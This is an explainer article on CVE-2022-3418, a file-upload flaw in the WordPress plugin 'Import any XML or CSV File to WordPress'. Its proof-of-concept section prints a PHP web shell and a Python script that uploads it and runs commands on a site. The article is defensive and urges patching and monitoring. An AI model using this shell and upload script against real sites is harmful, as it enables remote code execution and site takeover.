Date Discovered: 2022
Plugin Affected: Import any XML or CSV File to WordPress (before v3.6.9)
CVE: CVE-2022-3418
Severity: High (when used in multisite environments)
What is CVE-2022-3418?
CVE-2022-3418 is a vulnerability found in the "Import any XML or CSV File to WordPress" plugin, versions prior to 3.6.9. The main issue is that it doesn’t *properly filter* what type of files can be uploaded by administrators in a WordPress multisite installation. As a result, this can allow an attacker with admin privileges (on a subsite) to upload arbitrary files—including PHP code—potentially turning it into a full-blown website takeover.
How Does the Vulnerability Work?
Normally, when you upload a file via the plugin, it should only accept certain types like .csv or .xml to prevent someone from uploading malicious files (like .php scripts). But due to poor validation, a sneaky admin or a hacked admin account can upload almost any file type they want—even files with executable code.
Where's The Problem?
The vulnerable code does not strictly check the file extension or content. Here’s a simplified mock-up of such risky code:
// Dangerous: Insufficient file extension check!
$uploaded_file = $_FILES['import_file']['name'];
$allowed_extensions = ['xml', 'csv'];
$file_extension = pathinfo($uploaded_file, PATHINFO_EXTENSION);
if (in_array($file_extension, $allowed_extensions)) {
move_uploaded_file($_FILES['import_file']['tmp_name'], '/uploads/' . $uploaded_file);
// Further processing...
}
But the actual flawed version was too relaxed, for example, allowing file names like malicious.php.csv, effectively letting PHP execute the file on some servers. Worse, it didn’t account for more creative ways to bypass the checks.
Why Does This Matter?
If an attacker can upload a file ending with .php, they could run *any* PHP code on your site. On a multisite WordPress network, each subsite can have separate admins, so a rogue or compromised admin can do this without being a network superadmin.
Deface your website
*Anything that PHP can do, an attacker could try!*
Proof of Concept: How an Exploit Might Look
Step 1: Logged in as a subsite administrator
Step 2: Go to the plugin’s import page
Step 3: Upload a file named evil.php (or even evil.php.csv if the extension check is weak) with the following content:
<?php system($_GET['cmd']); ?>
Step 4: The file is now in the /uploads/ directory.
Step 5: Visit https://victim.com/wp-content/uploads/evil.php?cmd=whoami
Outcome: The server runs commands sent via the URL!
Here’s how a Python script could simulate the attack (assuming proper credentials)
import requests
# Credentials
username = 'admin'
password = 'pass'
login_url = 'https://victim.com/wp-login.php';
import_url = 'https://victim.com/wp-admin/admin.php?page=import-xml-csv';
# Start session
s = requests.Session()
# Login first (simplified; use WordPress login form details)
login_data = {'log': username, 'pwd': password}
s.post(login_url, data=login_data)
# Prepare malicious file
files = {'import_file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
data = {'submit': 'Upload and Import'}
# Upload ('multipart/form-data')
resp = s.post(import_url, files=files, data=data)
if resp.ok:
print("Uploaded evil.php!")
# Now trigger command execution
shell_url = 'https://victim.com/wp-content/uploads/evil.php?cmd=id';
shell_resp = s.get(shell_url)
print(shell_resp.text)
How to Fix (Patch Status)
The developer fixed this in version 3.6.9 by strictly filtering file extensions and improving server-side checks.
Upgrade immediately if you use this plugin:
Plugin page on WordPress.org
References
- CVE-2022-3418 NVD Listing
- WPScan Advisory
- Plugin Changelog
Conclusion
CVE-2022-3418 is a clear example of why file upload validation is critical—especially in plugins used by multiple administrators. If you’re running a WordPress multisite (or even single site), always keep plugins updated, restrict admin privileges, and monitor uploads directory for suspicious files!
Timeline
Published on: 11/07/2022 10:15:00 UTC
Last modified on: 11/09/2022 20:06:00 UTC